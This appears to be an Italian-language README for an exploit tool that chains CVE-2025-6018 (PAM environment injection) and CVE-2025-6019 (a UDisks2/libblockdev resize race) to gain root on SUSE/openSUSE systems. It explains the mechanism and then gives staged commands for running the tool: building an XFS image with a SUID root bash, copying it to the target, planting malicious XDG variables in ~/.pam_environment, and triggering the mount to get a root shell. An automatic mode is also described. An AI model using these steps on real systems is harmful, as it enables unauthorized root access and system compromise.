https://cdn2.qualys.com/2025/06/17/suse15-pam-udisks-lpe.txt

Questo exploit combina CVE-2025-6018 e CVE-2025-6019 per ottenere un’ escalation di privilegi locale da utente non privilegiato a root su sistemi SUSE/openSUSE vulnerabili. CVE-2025-6018 è una vulnerabilità di iniezione di variabili d’ambiente in PAM (Pluggable Authentication Modules) in pam_env.so (versioni 1.3.0-1.6.0) che consente agli utenti di avvelenare il proprio ambiente di sessione tramite ~/.pam_environment usando la direttiva OVERRIDE. Manipolando le variabili di sessione XDG (XDG_SEAT, XDG_VTNR, XDG_SESSION_TYPE), un attaccante può ingannare systemd-logind facendogli concedere i privilegi allow_active di PolicyKit, facendo apparire la sessione SSH remota come una sessione fisica locale. Una volta ottenuto lo stato allow_active, è possibile sfruttare CVE-2025-6019: questa vulnerabilità in UDisks2/libblockdev consente agli utenti con permessi allow_active di montare filesystem con opzioni privilegiate (exec, suid) attraverso una condizione di gara nel metodo D-Bus Filesystem.Resize. Quando viene attivata un’operazione di ridimensionamento su un dispositivo loop contenente un filesystem XFS manipolato con un binario bash SUID root, libblockdev monta automaticamente il filesystem per eseguire il ridimensionamento, ma non riesce a smontarlo a causa dell’errore di ridimensionamento, lasciando la bash SUID accessibile in /tmp/blockdev*/, che può quindi essere eseguita per ottenere una shell root.

Passaggi Dettagliati

STAGE 1: Creare Immagine XFS (Attaccante/Kali)

sudo ./ExploitChain.sh stage1 [percorso_output]
# Default: ./xfs.image
# Crea un filesystem XFS da 300MB con bash SUID root

Trasferire Immagine al Target

scp xfs.image utente@<ip_target>:/tmp/

STAGE 2: Iniezione PAM (Target)

./ExploitChain.sh stage2
# Crea ~/.pam_environment con variabili XDG maligne
# È NECESSARIO uscire e rientrare per attivare l’elaborazione PAM

Uscire e Riautenticarsi

logout
ssh utente@<ip_target>
# PAM elabora ~/.pam_environment al login
# systemd-logind concede lo stato allow_active

STAGE 3: Exploit UDisks2 (Target)

./ExploitChain.sh stage3 /tmp/xfs.image
# Sfrutta il bug Filesystem.Resize di UDisks2
# Monta l’immagine XFS con bash SUID
# Ottiene una shell root

Modalità Automatica

# Su Kali (rileva automaticamente root ed esegue stage1)
sudo ./Exploit-6018-Chain-6019-v3.sh auto

# Sul target (rileva automaticamente lo stage ed esegue stage2/stage3)
./ExploitChain.sh auto /tmp/xfs.image

Aiuto

./ExploitChain.sh help

Exploit-Chain-CVE-2025-6018-6019

Più Popolari